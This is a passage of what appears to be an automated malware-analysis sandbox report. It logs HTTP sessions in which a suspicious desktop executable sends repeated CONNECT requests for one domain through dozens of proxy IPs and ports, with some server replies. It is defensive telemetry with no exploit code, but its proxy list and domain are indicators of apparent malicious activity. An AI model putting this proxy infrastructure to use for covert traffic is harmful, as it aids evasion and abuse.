Mar 11, 2024 15:21:02.824717999 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.9	50787	184.181.217.210	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.523091078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.9	50690	61.79.73.225	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.523432970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.9	50852	23.152.40.15	5050	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525144100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.9	50676	119.196.168.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525196075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.9	50689	8.211.4.215	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525274992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.829262018 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 14:21:01 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.9	50082	8.213.128.90	4506	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525711060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.464095116 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.9	50810	72.206.181.123	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525712013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.9	50678	8.217.95.44	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.525763988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.9	50641	103.118.46.61	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.527465105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.9	50725	140.238.25.255	21000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.527466059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.9	50670	111.90.150.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.527923107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.246984959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.9	50447	211.93.2.190	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.529267073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.017520905 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.9	50764	20.111.54.16	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.530251980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.824228048 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.9	50966	172.67.181.147	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.533416033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.688239098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.9	50972	203.23.104.167	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.533600092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.688079119 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.9	50988	104.20.233.70	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.534039021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.688208103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.9	50732	58.234.116.197	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.538029909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.9	51014	172.67.182.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.541649103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.695758104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.9	51011	104.24.220.52	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.542110920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.696474075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.9	50582	175.183.82.221	8193	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.544848919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.9	50788	59.6.26.121	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.545100927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.9	50177	8.213.128.90	808	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.548604012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.466981888 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.9	50868	174.64.199.82	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.561206102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.9	50714	114.132.202.78	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.564137936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.293872118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.850135088 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Transfer-Encoding: chunked
Mar 11, 2024 15:21:04.762244940 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:03 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.9	50730	91.202.230.219	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.567919970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.9	50773	138.36.196.11	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.573175907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.9	50753	103.199.18.248	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.574651957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.934422970 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.9	50837	75.119.145.154	47344	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.576092005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.231314898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.122047901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.997133017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591433048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200603962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.887943029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
